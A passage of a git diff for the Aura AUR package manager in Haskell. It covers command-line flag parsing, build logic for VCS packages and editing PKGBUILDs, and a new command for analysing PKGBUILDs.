(long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.") - igg = SyncIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',') <$> - strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.") - -misc :: Parser (Set MiscOp) -misc = S.fromList <$> many (ar <|> dbp <|> roo <|> ver <|> gpg <|> hd <|> con <|> dbo <|> nop <|> nos <|> pf <|> nod <|> prt <|> asi) - where ar = MiscArch - <$> option (eitherReader absFilePath) (long "arch" <> metavar "ARCH" <> hidden <> help "Use an alternate architecture.") - dbp = MiscDBPath - <$> option (eitherReader absFilePath) (long "dbpath" <> short 'b' <> metavar "PATH" <> hidden <> help "Use an alternate database location.") - roo = MiscRoot - <$> option (eitherReader absFilePath) (long "root" <> short 'r' <> metavar "PATH" <> hidden <> help "Use an alternate installation root.") - ver = flag' MiscVerbose (long "verbose" <> short 'v' <> hidden <> help "Be more verbose.") - gpg = MiscGpgDir - <$> option (eitherReader absFilePath) (long "gpgdir" <> metavar "PATH" <> hidden <> help "Use an alternate GnuGPG directory.") - hd = MiscHookDir - <$> option (eitherReader absFilePath) (long "hookdir" <> metavar "PATH" <> hidden <> help "Use an alternate hook directory.") - con = flag' MiscConfirm (long "confirm" <> hidden <> help "Always ask for confirmation.") - dbo = flag' MiscDBOnly (long "dbonly" <> hidden <> help "Only modify database entries, not package files.") - nop = flag' MiscNoProgress (long "noprogressbar" <> hidden <> help "Don't show a progress bar when downloading.") - nos = flag' MiscNoScriptlet (long "noscriptlet" <> hidden <> help "Don't run available install scriptlets.") - pf = MiscPrintFormat <$> strOption (long "print-format" <> metavar "STRING" <> hidden <> help "Specify how targets should be printed.") - nod = flag' MiscNoDeps (long "nodeps" <> short 'd' <> hidden <> help "Skip dependency version checks.") - prt = flag' MiscPrint (long "print" <> short 'p' <> hidden <> help "Print the targets instead of performing the operation.") - asi = MiscAssumeInstalled <$> strOption (long "assume-installed" <> metavar "" <> hidden <> help "Add a virtual package to satisfy dependencies.") - -testdeps :: Parser PacmanOp -testdeps = bigT *> (TestDeps <$> someArgs) - where bigT = flag' () (long "deptest" <> short 'T' <> help "Test dependencies - useful for scripts.") - -upgrades :: Parser PacmanOp -upgrades = bigU *> (Upgrade <$> (S.fromList <$> many mods) <*> somePkgs) - where bigU = flag' () (long "upgrade" <> short 'U' <> help "Install given package files.") - mods = asd <|> ase <|> ign <|> igg - asd = flag' UpgradeAsDeps (long "asdeps" <> hidden) - ase = flag' UpgradeAsExplicit (long "asexplicit" <> hidden) - ign = UpgradeIgnore . S.fromList . map PkgName . T.split (== ',') <$> - strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.") - igg = UpgradeIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',') <$> - strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.") - -somePkgs :: Parser (NonEmpty PkgName) -somePkgs = NELP.fromList . map PkgName <$> some (argument str (metavar "PACKAGES")) - --- | Same as `someArgs`, but the help message "brief display" won't show PACKAGES. -somePkgs' :: Parser (NonEmpty PkgName) -somePkgs' = NELP.fromList . map PkgName <$> some (argument str (metavar "PACKAGES" <> hidden)) - --- | One or more arguments. -someArgs :: Parser (NonEmpty Text) -someArgs = NEL.nub . NELP.fromList <$> some (argument str (metavar "PACKAGES")) - --- | Same as `someArgs`, but the help message "brief display" won't show PACKAGES. -someArgs' :: Parser (NonEmpty Text) -someArgs' = NEL.nub . NELP.fromList <$> some (argument str (metavar "PACKAGES" <> hidden)) - --- | Zero or more arguments. -manyArgs :: Parser (Set Text) -manyArgs = S.fromList <$> many (argument str (metavar "PACKAGES")) - --- | Zero or more arguments. -manyArgs' :: Parser (Set Text) -manyArgs' = S.fromList <$> many (argument str (metavar "PACKAGES" <> hidden)) - -language :: Parser Language -language = foldr1 (<|>) $ map (\(f, v) -> flag' v (long f <> hidden)) langs - where langs = [ ( "japanese", Japanese ), ( "日本語", Japanese ) - , ( "polish", Polish ), ( "polski", Polish ) - , ( "croatian", Croatian ), ( "hrvatski", Croatian ) - , ( "swedish", Swedish ), ( "svenska", Swedish ) - , ( "german", German ), ( "deutsch", German ) - , ( "spanish", Spanish ), ( "español", Spanish ) - , ( "portuguese", Portuguese ), ( "português", Portuguese ) - , ( "french", French), ( "français", French ) - , ( "russian", Russian ), ( "русский", Russian ) - , ( "italian", Italian ), ( "italiano", Italian ) - , ( "serbian", Serbian ), ( "српски", Serbian ) - , ( "norwegian", Norwegian ), ( "norsk", Norwegian ) - , ( "indonesian", Indonesia ) - , ( "chinese", Chinese ), ( "中文", Chinese ) - , ( "esperanto", Esperanto ) - , ( "dutch", Dutch ), ( "nederlands", Dutch ) ] - -logLevel :: Parser LogLevel -logLevel = option (eitherReader l) - (long "log-level" <> metavar "debug|info|warn|error" <> value LevelInfo - <> help "The minimum level of log messages to display (default: info)") - where - l :: String -> Either String LogLevel - l "debug" = Right LevelDebug - l "info" = Right LevelInfo - l "warn" = Right LevelWarn - l "error" = Right LevelError - l _ = Left "Must be one of debug|info|warn|error" - -absFilePath :: String -> Either String FilePath -absFilePath fp = bool (Left $ "Not absolute: " <> fp) (Right fp) $ isAbsolute fp diff --git a/exec/Settings.hs b/exec/Settings.hs deleted file mode 100644 --- a/exec/Settings.hs +++ /dev/null @@ -1,88 +0,0 @@ -{-# LANGUAGE BangPatterns #-} - -{- - -Copyright 2012 - 2020 Colin Woodbury - -This file is part of Aura. - -Aura is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -Aura is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with Aura. If not, see . - --} - -module Settings ( withEnv ) where - -import Aura.Core (Env(..)) -import Aura.Languages -import Aura.Packages.AUR (aurRepo) -import Aura.Packages.Repository (pacmanRepo) -import Aura.Pacman -import Aura.Settings -import Aura.Shell -import Aura.Types -import Aura.Utils (nes) -import Data.Bifunctor (Bifunctor(..)) -import Flags -import Lens.Micro (folded, (^..), _Right) -import Network.HTTP.Client (newManager) -import Network.HTTP.Client.TLS (tlsManagerSettings) -import RIO hiding (FilePath, first) -import qualified RIO.Map as M -import qualified RIO.Set as S -import qualified RIO.Text as T -import System.Environment (getEnvironment) - ---- - --- | Bracket around the `Env` type to properly initialize the `Manager` and --- `RIO` logger function (among other things). --- --- Throws in `IO` if there were any errors. -withEnv :: Program -> (Env -> IO a) -> IO a -withEnv (Program op co bc lng ll) f = do - let ign = S.fromList $ op ^.. _Right . _AurSync . folded . _AurIgnore . folded - igg = S.fromList $ op ^.. _Right . _AurSync . folded . _AurIgnoreGroup . folded - confFile <- getPacmanConf (either id id $ configPathOf co) >>= either throwM pure - environment <- M.fromList . map (bimap T.pack T.pack) <$> getEnvironment - manager <- newManager tlsManagerSettings - isTerm <- hIsTerminalDevice stdout - fromGroups <- maybe (pure S.empty) groupPackages . nes - $ getIgnoredGroups confFile <> igg - let language = checkLang lng environment - bu <- maybe (throwM $ Failure whoIsBuildUser_1) pure - $ buildUserOf bc <|> getTrueUser environment - repos <- (<>) <$> pacmanRepo <*> aurRepo - lopts <- setLogMinLevel ll . setLogUseLoc True <$> logOptionsHandle stderr True - withLogFunc lopts $ \logFunc -> do - let !ss = Settings - { managerOf = manager - , envOf = environment - , langOf = language - , editorOf = getEditor environment - , isTerminal = isTerm - , ignoresOf = getIgnoredPkgs confFile <> fromGroups <> ign - , commonConfigOf = - -- | These maintain the precedence order: flags, config file entry, default - co { cachePathOf = - first (\x -> fromMaybe x $ getCachePath confFile) $ cachePathOf co - , logPathOf = - first (\x -> fromMaybe x $ getLogFilePath confFile) $ logPathOf co } - , buildConfigOf = bc { buildUserOf = Just bu} - , logLevelOf = ll - , logFuncOf = logFunc } - f (Env repos ss) - -checkLang :: Maybe Language -> Environment -> Language -checkLang Nothing env = langFromLocale $ getLocale env -checkLang (Just lang) _ = lang diff --git a/exec/aura.hs b/exec/aura.hs --- a/exec/aura.hs +++ b/exec/aura.hs @@ -39,22 +39,24 @@ import Aura.Commands.C as C import Aura.Commands.L as L import Aura.Commands.O as O +import Aura.Commands.P as P import Aura.Core +import Aura.Flags import Aura.IO import Aura.Languages import Aura.Logo import Aura.Pacman import Aura.Settings +import Aura.Settings.Runtime import Aura.Types import Aura.Utils (nes) import Data.Bifunctor (first) import Data.Text.Prettyprint.Doc import Data.Text.Prettyprint.Doc.Render.Terminal -import Flags import Options.Applicative (execParser) import RIO hiding (first) +import RIO.FilePath import qualified RIO.Set as S -import Settings import System.Process.Typed (proc, runProcess) --- @@ -117,29 +119,30 @@ Left (AurUpgrade ps) -> bool (trueRoot . sudo) id (switch ss DryRun) $ A.upgradeAURPkgs ps Left (AurJson ps) -> A.aurJson ps Left (AurTarball ps) -> A.fetchTarball ps - Right (Backup o) -> - case o of - Nothing -> sudo . liftIO $ B.saveState ss - Just (BackupClean n) -> sudo . liftIO $ B.cleanStates ss n - Just BackupRestore -> sudo B.restoreState - Just BackupList -> liftIO B.listStates - Right (Cache o) -> - case o of - Right ps -> sudo $ C.downgradePackages ps - Left (CacheSearch s) -> C.searchCache s - Left (CacheClean n) -> sudo $ C.cleanCache n - Left CacheCleanNotSaved -> sudo C.cleanNotSaved - Left (CacheBackup pth) -> sudo $ C.backupCache pth - Right (Log o) -> - case o of - Nothing -> L.viewLogFile - Just (LogInfo ps) -> L.logInfoOnPkg ps - Just (LogSearch s) -> asks settings >>= liftIO . flip L.searchLogFile s - Right (Orphans o) -> - case o of - Nothing -> liftIO O.displayOrphans - Just OrphanAbandon -> sudo $ liftIO orphans >>= traverse_ removePkgs . nes - Just (OrphanAdopt ps) -> O.adoptPkg ps + Right (Backup o) -> case o of + Nothing -> sudo . liftIO $ B.saveState ss + Just (BackupClean n) -> sudo . liftIO $ B.cleanStates ss n + Just BackupRestore -> sudo B.restoreState + Just BackupList -> liftIO B.listStates + Right (Cache o) -> case o of + Right ps -> sudo $ C.downgradePackages ps + Left (CacheSearch s) -> C.searchCache s + Left (CacheClean n) -> sudo $ C.cleanCache n + Left CacheCleanNotSaved -> sudo C.cleanNotSaved + Left (CacheBackup pth) -> sudo $ C.backupCache pth + Right (Log o) -> case o of + Nothing -> L.viewLogFile + Just (LogInfo ps) -> L.logInfoOnPkg ps + Just (LogSearch s) -> asks settings >>= liftIO . flip L.searchLogFile s + Right (Orphans o) -> case o of + Nothing -> liftIO O.displayOrphans + Just OrphanAbandon -> sudo $ liftIO orphans >>= traverse_ removePkgs . nes + Just (OrphanAdopt ps) -> O.adoptPkg ps + Right (Analysis o) -> case o of + Nothing -> P.exploitsFromStdin + Just (AnalysisFile fp) -> P.exploitsFromFile fp + Just (AnalysisDir fp) -> P.exploitsFromFile $ fp "PKGBUILD" + Just AnalysisAudit -> P.audit Right Version -> liftIO $ versionInfo >>= animateVersionMsg ss auraVersion Right Languages -> displayOutputLanguages Right ViewConf -> viewConfFile diff --git a/lib/Aura/Build.hs b/lib/Aura/Build.hs --- a/lib/Aura/Build.hs +++ b/lib/Aura/Build.hs @@ -1,3 +1,6 @@ +{-# LANGUAGE BangPatterns #-} +{-# LANGUAGE LambdaCase #-} + -- | -- Module : Aura.Build -- Copyright : (c) Colin Woodbury, 2012 - 2020 @@ -9,6 +12,8 @@ module Aura.Build ( installPkgFiles , buildPackages + , srcPkgStore + , vcsStore ) where import Aura.Core @@ -20,12 +25,13 @@ import Aura.Settings import Aura.Shell (chown) import Aura.Types -import Aura.Utils +import Aura.Utils (edit) import Control.Monad.Trans.Except import Data.Hashable (hash) import RIO import RIO.Directory import RIO.FilePath +import qualified RIO.List as L import qualified RIO.NonEmpty as NEL import RIO.Partial (fromJust) import qualified RIO.Set as S @@ -35,9 +41,17 @@ --- +-- | Storage location for "source" packages built with @--allsource@. +-- Can be overridden in config or with @--allsourcepath@. srcPkgStore :: FilePath srcPkgStore = "/var/cache/aura/src" +-- | Storage/build location for VCS packages like @cool-retroterm-git@. Some of +-- these packages are quite large (e.g. kernels), and so recloning them in their +-- entirety upon each @-Au@ is wasteful. +vcsStore :: FilePath +vcsStore = "/var/cache/aura/vcs" + -- | Expects files like: \/var\/cache\/pacman\/pkg\/*.pkg.tar.xz installPkgFiles :: NonEmpty PackagePath -> RIO Env () installPkgFiles files = do @@ -47,45 +61,70 @@ -- | All building occurs within temp directories, -- or in a location specified by the user with flags. -buildPackages :: NonEmpty Buildable -> RIO Env (NonEmpty PackagePath) -buildPackages bs = mapMaybeA build (NEL.toList bs) >>= maybe bad (pure . fold1) . NEL.nonEmpty - where - bad :: RIO Env a - bad = throwM $ Failure buildFail_10 +buildPackages :: NonEmpty Buildable -> RIO Env [PackagePath] +buildPackages bs = mapMaybeA build (NEL.toList bs) >>= \case + [] -> throwM $ Failure buildFail_10 + built -> pure $ concat built -- | Handles the building of Packages. Fails nicely. -- Assumed: All dependencies are already installed. -build :: Buildable -> RIO Env (Maybe (NonEmpty PackagePath)) +build :: Buildable -> RIO Env (Maybe [PackagePath]) build p = do logDebug $ "Building: " <> display (pnName $ bName p) ss <- asks settings notify ss (buildPackages_1 $ bName p) *> hFlush stdout - result <- build' ss p + result <- build' p either buildFail (pure . Just) result -- | Should never throw an IO Exception. In theory all errors -- will come back via the @Language -> String@ function. -build' :: Settings -> Buildable -> RIO Env (Either Failure (NonEmpty PackagePath)) -build' ss b = do - let pth = buildPathOf $ buildConfigOf ss - liftIO $ createDirectoryIfMissing True pth +-- +-- If the package is a VCS package (i.e. ending in -git, etc.), it will be built +-- and stored in a separate, deterministic location to prevent repeated clonings +-- during subsequent builds. +-- +-- If `--allsource` was given, then the package isn't actually built. +-- Instead, a @.src.tar.gz@ file is produced and copied to `srcPkgStore`. +build' :: Buildable -> RIO Env (Either Failure [PackagePath]) +build' b = do + ss <- asks settings + let !isDevel = isDevelPkg $ bName b + !pth | isDevel = fromMaybe vcsStore . vcsPathOf $ buildConfigOf ss + | otherwise = fromMaybe defaultBuildDir . buildPathOf $ buildConfigOf ss + !usr = fromMaybe (User "UNKNOWN") . buildUserOf $ buildConfigOf ss + createDirectoryIfMissing True pth setCurrentDirectory pth - buildDir <- liftIO $ randomDirName b - liftIO $ createDirectoryIfMissing True buildDir + buildDir <- liftIO $ getBuildDir b + createDirectoryIfMissing True buildDir setCurrentDirectory buildDir runExceptT $ do - bs <- ExceptT $ cloneRepo b usr - liftIO $ setCurrentDirectory bs + bs <- ExceptT $ do + let !dir = buildDir T.unpack (pnName $ bName b) + pulled <- doesDirectoryExist dir + bool (cloneRepo b usr) (pure $ Right dir) pulled + setCurrentDirectory bs + when isDevel $ ExceptT pullRepo liftIO $ overwritePkgbuild ss b - pNames <- ExceptT . liftIO $ makepkg ss usr - paths <- liftIO $ traverse (moveToCachePath ss) pNames - liftIO . when (S.member AllSource . makepkgFlagsOf $ buildConfigOf ss) $ - makepkgSource usr >>= traverse_ moveToSourcePath - pure paths - where - usr :: User - usr = fromMaybe (User "桜木花道") . buildUserOf $ buildConfigOf ss + liftIO $ overwriteInstall ss + liftIO $ overwritePatches ss + if S.member AllSource . makepkgFlagsOf $ buildConfigOf ss + then do + let !allsourcePath = fromMaybe srcPkgStore . allsourcePathOf $ buildConfigOf ss + liftIO (makepkgSource usr >>= traverse_ (moveToSourcePath allsourcePath)) $> [] + else do + pNames <- ExceptT . liftIO . fmap (fmap NEL.toList) $ makepkg ss usr + liftIO $ traverse (moveToCachePath ss) pNames +getBuildDir :: Buildable -> IO FilePath +getBuildDir b + | isDevelPkg $ bName b = vcsBuildDir $ bName b + | otherwise = randomDirName b + +vcsBuildDir :: PkgName -> IO FilePath +vcsBuildDir (PkgName pn) = do + pwd <- getCurrentDirectory + pure $ pwd T.unpack pn + -- | Create a temporary directory with a semi-random name based on -- the `Buildable` we're working with. randomDirName :: Buildable -> IO FilePath @@ -107,12 +146,43 @@ Nothing -> pure . Left . Failure . buildFail_7 $ bName pkg Just sd -> chown usr sd ["-R"] $> Right sd --- | The user may have edited the original PKGBUILD. If they have, we need to --- overwrite what's been downloaded before calling `makepkg`. +-- | Assuming that we're already in a VCS-based package's build folder, +-- just pull the latest instead of cloning. +pullRepo :: RIO Env (Either Failure ()) +pullRepo = do + ec <- runProcess . setStderr closed . setStdout closed $ proc "git" ["pull"] + case ec of + ExitFailure _ -> pure . Left $ Failure buildFail_12 + ExitSuccess -> pure $ Right () + +-- | Edit the PKGBUILD in-place, if the user wants to. overwritePkgbuild :: Settings -> Buildable -> IO () -overwritePkgbuild ss p = when (switch ss HotEdit || switch ss UseCustomizepkg) $ - writeFileBinary "PKGBUILD" . pkgbuild $ bPkgbuild p +overwritePkgbuild ss b = when (switch ss HotEdit) . liftIO $ do + ans <- optionalPrompt ss (hotEdit_1 $ bName b) + when ans $ edit (editorOf ss) "PKGBUILD" +-- | Edit the .install file in-place, if the user wants to and it exists. +overwriteInstall :: Settings -> IO () +overwriteInstall ss = when (switch ss HotEdit) . liftIO $ do + files <- getCurrentDirectory >>= listDirectory + case L.find ((== ".install") . takeFileName) files of + Nothing -> pure () + Just _ -> do + ans <- optionalPrompt ss hotEdit_2 + when ans $ edit (editorOf ss) ".install" + +-- | Edit the all .patch files, if the user wants to and some exist. +overwritePatches :: Settings -> IO () +overwritePatches ss = when (switch ss HotEdit) . liftIO $ do + files <- getCurrentDirectory >>= listDirectory + let !patches = filter ((== ".patch") . takeExtension) files + traverse_ f patches + where + f :: FilePath -> IO () + f p = do + ans <- optionalPrompt ss $ hotEdit_3 p + when ans $ edit (editorOf ss) p + -- | Inform the user that building failed. Ask them if they want to -- continue installing previous packages that built successfully. buildFail :: Failure -> RIO Env (Maybe a) @@ -130,6 +200,11 @@ $ proc "cp" ["--reflink=auto", p, newName] -- | Moves a file to the aura src package cache and returns its location. -moveToSourcePath :: FilePath -> IO FilePath -moveToSourcePath p = renameFile p newName $> newName - where newName = srcPkgStore takeFileName p +moveToSourcePath :: FilePath -> FilePath -> IO FilePath +moveToSourcePath allsourcePath p = do + createDirectoryIfMissing True allsourcePath + copy $> newName + where + newName = allsourcePath takeFileName p + copy = runProcess . setStderr closed . setStdout closed + $ proc "cp" ["--reflink=auto", p, newName] diff --git a/lib/Aura/Cache.hs b/lib/Aura/Cache.hs --- a/lib/Aura/Cache.hs +++ b/lib/Aura/Cache.hs @@ -46,7 +46,7 @@ -- | Given a path to the package cache, yields its contents in a usable form. cacheContents :: FilePath -> IO Cache -cacheContents pth = cache . mapMaybe (packagePath . (pth )) <$> getDirectoryContents pth +cacheContents pth = cache . mapMaybe (packagePath . (pth )) <$> listDirectory pth -- | All packages from a given `Set` who have a copy in the cache. pkgsInCache :: Settings -> Set PkgName -> IO (Set PkgName) diff --git a/lib/Aura/Commands/A.hs b/lib/Aura/Commands/A.hs deleted file mode 100644 --- a/lib/Aura/Commands/A.hs +++ /dev/null @@ -1,225 +0,0 @@ -{-# LANGUAGE BangPatterns #-} -{-# LANGUAGE LambdaCase #-} - --- | --- Module : Aura.Commands.A --- Copyright : (c) Colin Woodbury, 2012 - 2020 --- License : GPL3 --- Maintainer: Colin Woodbury --- --- Handle all @-A@ flags - those which involve viewing and building packages --- from the AUR. - -module Aura.Commands.A - ( I.install - , upgradeAURPkgs - , aurPkgInfo - , aurPkgSearch - , I.displayPkgDeps - , displayPkgbuild - , aurJson - , fetchTarball - ) where - -import Aura.Colour -import Aura.Core -import qualified Aura.Install as I -import Aura.IO -import Aura.Languages -import Aura.Packages.AUR -import Aura.Pkgbuild.Fetch -import Aura.Settings -import Aura.State (saveState) -import Aura.Types -import Aura.Utils -import Data.Aeson -import Data.Text.Prettyprint.Doc -import Data.Text.Prettyprint.Doc.Render.Terminal -import Data.Versions (Versioning, prettyV, versioning) -import Linux.Arch.Aur -import Network.HTTP.Client (Manager) -import RIO -import qualified RIO.ByteString as B -import qualified RIO.ByteString.Lazy as BL -import qualified RIO.List as L -import RIO.List.Partial (maximum) -import qualified RIO.NonEmpty as NEL -import qualified RIO.Set as S -import qualified RIO.Text as T -import RIO.Text.Partial (splitOn) -import Text.Printf (printf) - ---- - --- | The result of @-Au@. -upgradeAURPkgs :: Set PkgName -> RIO Env () -upgradeAURPkgs pkgs = do - ss <- asks settings - notify ss upgradeAURPkgs_1 - fs <- liftIO (foreigns ss) - traverse_ (upgrade pkgs) $ nes fs - --- | Foreign packages to consider for upgrading, after "ignored packages" have --- been taken into consideration. -foreigns :: Settings -> IO (Set SimplePkg) -foreigns ss = S.filter (notIgnored . spName) <$> foreignPackages - where notIgnored p = not . S.member p $ ignoresOf ss - -upgrade :: Set PkgName -> NonEmpty SimplePkg -> RIO Env () -upgrade pkgs fs = do - logDebug $ "Considering " <> display (NEL.length fs) <> " 'foreign' packages for upgrade." - unless (null pkgs) - $ logDebug $ "Also installing " <> display (S.size pkgs) <> " other packages." - ss <- asks settings - toUpgrade <- possibleUpdates fs - logDebug $ "Potential upgrades: " <> display (length toUpgrade) - let !names = map (PkgName . aurNameOf . fst) toUpgrade - auraFirst <- auraCheck names - logDebug $ "Upgrade Aura first? ... " <> maybe "No." (const "Yes!") auraFirst - case auraFirst of - Just a -> auraUpgrade a - Nothing -> do - devel <- develPkgCheck - notify ss upgradeAURPkgs_2 - if null toUpgrade && null devel - then warn ss upgradeAURPkgs_3 - else do - reportPkgsToUpgrade toUpgrade (toList devel) - liftIO . unless (switch ss DryRun) $ saveState ss - traverse_ I.install . nes $ S.fromList names <> pkgs <> devel - -possibleUpdates :: NonEmpty SimplePkg -> RIO Env [(AurInfo, Versioning)] -possibleUpdates pkgs = do - aurInfos <- aurInfo $ fmap spName pkgs - let !names = map aurNameOf aurInfos - aurPkgs = NEL.filter (\(SimplePkg (PkgName n) _) -> n `elem` names) pkgs - logDebug "Package lookup successful." - pure . filter isntMostRecent . zip aurInfos $ map spVersion aurPkgs - --- | Is there an update for Aura that we could apply first? -auraCheck :: [PkgName] -> RIO Env (Maybe PkgName) -auraCheck ps = join <$> traverse f auraPkg - where - f :: a -> RIO Env (Maybe a) - f a = do - ss <- asks settings - bool Nothing (Just a) <$> liftIO (optionalPrompt ss auraCheck_1) - - auraPkg :: Maybe PkgName - auraPkg | "aura" `elem` ps = Just "aura" - | "aura-bin" `elem` ps = Just "aura-bin" - | otherwise = Nothing - -auraUpgrade :: PkgName -> RIO Env () -auraUpgrade = I.install . pure - -develPkgCheck :: RIO Env (Set PkgName) -develPkgCheck = asks settings >>= \ss -> - if switch ss RebuildDevel then liftIO develPkgs else pure S.empty - --- | The result of @-Ai@. -aurPkgInfo :: NonEmpty PkgName -> RIO Env () -aurPkgInfo = aurInfo >=> traverse_ displayAurPkgInfo - -displayAurPkgInfo :: AurInfo -> RIO Env () -displayAurPkgInfo ai = asks settings >>= \ss -> putTextLn $ renderAurPkgInfo ss ai <> "\n" - -renderAurPkgInfo :: Settings -> AurInfo -> Text -renderAurPkgInfo ss ai = dtot . colourCheck ss $ entrify ss fields entries - where fields = infoFields . langOf $ ss - entries = [ magenta "aur" - , annotate bold . pretty $ aurNameOf ai - , pretty $ aurVersionOf ai - , outOfDateMsg (dateObsoleteOf ai) $ langOf ss - , orphanedMsg (aurMaintainerOf ai) $ langOf ss - , cyan . maybe "(null)" pretty $ urlOf ai - , pretty . pkgUrl . PkgName $ aurNameOf ai - , pretty . T.unwords $ licenseOf ai - , pretty . T.unwords $ dependsOf ai - , pretty . T.unwords $ makeDepsOf ai - , yellow . pretty $ aurVotesOf ai - , yellow . pretty . T.pack . printf "%0.2f" $ popularityOf ai - , maybe "(null)" pretty $ aurDescriptionOf ai ] - --- | The result of @-As@. -aurPkgSearch :: Text -> RIO Env () -aurPkgSearch regex = do - ss <- asks settings - db <- S.map (pnName . spName) <$> liftIO foreignPackages - let t = case truncationOf $ buildConfigOf ss of -- Can't this go anywhere else? - None -> id - Head n -> take $ fromIntegral n - Tail n -> reverse . take (fromIntegral n) . reverse - results <- fmap (\x -> (x, aurNameOf x `S.member` db)) . t - <$> aurSearch regex - traverse_ (putTextLn . renderSearch ss regex) results - -renderSearch :: Settings -> Text -> (AurInfo, Bool) -> Text -renderSearch ss r (i, e) = searchResult - where searchResult = if switch ss LowVerbosity then sparseInfo else dtot $ colourCheck ss verboseInfo - sparseInfo = aurNameOf i - verboseInfo = repo <> n <+> v <+> "(" <> l <+> "|" <+> p <> - ")" <> (if e then annotate bold " [installed]" else "") <> "\n " <> d - repo = magenta "aur/" - n = fold . L.intersperse (bCyan $ pretty r) . map (annotate bold . pretty) . splitOn r $ aurNameOf i - d = maybe "(null)" pretty $ aurDescriptionOf i - l = yellow . pretty $ aurVotesOf i -- `l` for likes? - p = yellow . pretty . T.pack . printf "%0.2f" $ popularityOf i - v = case dateObsoleteOf i of - Just _ -> red . pretty $ aurVersionOf i - Nothing -> green . pretty $ aurVersionOf i - --- | The result of @-Ap@. -displayPkgbuild :: NonEmpty PkgName -> RIO Env () -displayPkgbuild ps = do - man <- asks (managerOf . settings) - pbs <- catMaybes <$> traverse (liftIO . getPkgbuild man) (toList ps) - traverse_ ((\p -> B.putStr p >> B.putStr "\n") . pkgbuild) pbs - -isntMostRecent :: (AurInfo, Versioning) -> Bool -isntMostRecent (ai, v) = trueVer > Just v - where trueVer = hush . versioning $ aurVersionOf ai - --- | Similar to @-Ai@, but yields the raw data as JSON instead. -aurJson :: NonEmpty PkgName -> RIO Env () -aurJson ps = do - m <- asks (managerOf . settings) - infos <- liftMaybeM (Failure connectFailure_1) . fmap hush . liftIO $ f m ps - traverse_ (BL.putStrLn . encode) infos - where - f :: Manager -> NonEmpty PkgName -> IO (Either AurError [AurInfo]) - f m = info m . map pnName . NEL.toList - --- | @https://aur.archlinux.org/cgit/aur.git/snapshot/aura-bin.tar.gz@ -fetchTarball :: NonEmpty PkgName -> RIO Env () -fetchTarball ps = do - ss <- asks settings - traverse_ (liftIO . g ss) ps - where - f :: PkgName -> String - f (PkgName p) = - "https://aur.archlinux.org/cgit/aur.git/snapshot/" <> T.unpack p <> ".tar.gz" - - g :: Settings -> PkgName -> IO () - g ss p@(PkgName pn) = urlContents (managerOf ss) (f p) >>= \case - Nothing -> warn ss $ missingPkg_5 p - Just bs -> writeFileBinary (T.unpack pn <> ".tar.gz") bs - ------------- --- REPORTING ------------- -reportPkgsToUpgrade :: [(AurInfo, Versioning)] -> [PkgName] -> RIO Env () -reportPkgsToUpgrade ups pns = do - ss <- asks settings - notify ss reportPkgsToUpgrade_1 - liftIO $ putDoc (colourCheck ss . vcat $ map f ups' <> map g devels) >> putTextLn "\n" - where devels = map pnName pns - ups' = map (second prettyV) ups - nLen = maximum $ map (T.length . aurNameOf . fst) ups <> map T.length devels - vLen = maximum $ map (T.length . snd) ups' - g = annotate (color Cyan) . pretty - f (p, v) = hsep [ cyan . fill nLen . pretty $ aurNameOf p - , "::" - , yellow . fill vLen $ pretty v - , "->" - , green . pretty $ aurVersionOf p ] diff --git a/lib/Aura/Commands/B.hs b/lib/Aura/Commands/B.hs deleted file mode 100644 --- a/lib/Aura/Commands/B.hs +++ /dev/null @@ -1,53 +0,0 @@ -{-# LANGUAGE TupleSections #-} -{-# LANGUAGE ViewPatterns #-} - --- | --- Module : Aura.Commands.B --- Copyright : (c) Colin Woodbury, 2012 - 2020 --- License : GPL3 --- Maintainer: Colin Woodbury --- --- Handle all @-B@ flags - those which involve saved package states. - -module Aura.Commands.B - ( saveState - , restoreState - , cleanStates - , listStates - ) where - -import Aura.Core (warn) -import Aura.IO -import Aura.Languages -import Aura.Settings -import Aura.State -import RIO -import RIO.Directory -import RIO.FilePath -import qualified RIO.List as L -import qualified RIO.NonEmpty as NEL -import qualified RIO.Text as T - ---- - --- | Remove all but the newest @n@ package states. Any "pinned" states will also remain. -cleanStates :: Settings -> Word -> IO () -cleanStates ss (fromIntegral -> n) = do - stfs <- reverse <$> getStateFiles - (pinned, others) <- L.partition p <$> traverse (\sf -> (sf,) <$> readState sf) stfs - warn ss $ cleanStates_4 (length stfs) - unless (null pinned) . warn ss $ cleanStates_6 (length pinned) - forM_ (NEL.nonEmpty stfs) $ \stfs' -> do - let mostRecent = T.pack . takeFileName $ NEL.head stfs' - warn ss $ cleanStates_5 mostRecent - okay <- optionalPrompt ss $ cleanStates_2 n - if not okay - then warn ss cleanStates_3 - else traverse_ (removeFile . fst) . drop n $ others - where - p :: (a, Maybe PkgState) -> Bool - p = maybe False pinnedOf . snd - --- | The result of @-Bl@. -listStates :: IO () -listStates = getStateFiles >>= traverse_ (putTextLn . T.pack) diff --git a/lib/Aura/Commands/C.hs b/lib/Aura/Commands/C.hs deleted file mode 100644 --- a/lib/Aura/Commands/C.hs +++ /dev/null @@ -1,168 +0,0 @@ -{-# LANGUAGE BangPatterns #-} -{-# LANGUAGE NumericUnderscores #-} -{-# LANGUAGE TypeApplications #-} - --- | --- Module : Aura.Commands.C --- Copyright : (c) Colin Woodbury, 2012 - 2020 --- License : GPL3 --- Maintainer: Colin Woodbury --- --- Handle all @-C@ flags - those which involve the package cache. - -module Aura.Commands.C - ( downgradePackages - , searchCache - , backupCache - , cleanCache - , cleanNotSaved - ) where - -import Aura.Cache -import Aura.Colour (red) -import Aura.Core -import Aura.IO -import Aura.Languages -import Aura.Pacman (pacman) -import Aura.Settings -import Aura.Shell -import Aura.State -import Aura.Types -import Aura.Utils (nes) -import RIO -import RIO.Directory -import qualified RIO.List as L -import qualified RIO.Map as M -import qualified RIO.NonEmpty as NEL -import qualified RIO.Set as S -import qualified RIO.Text as T - ---- - --- | 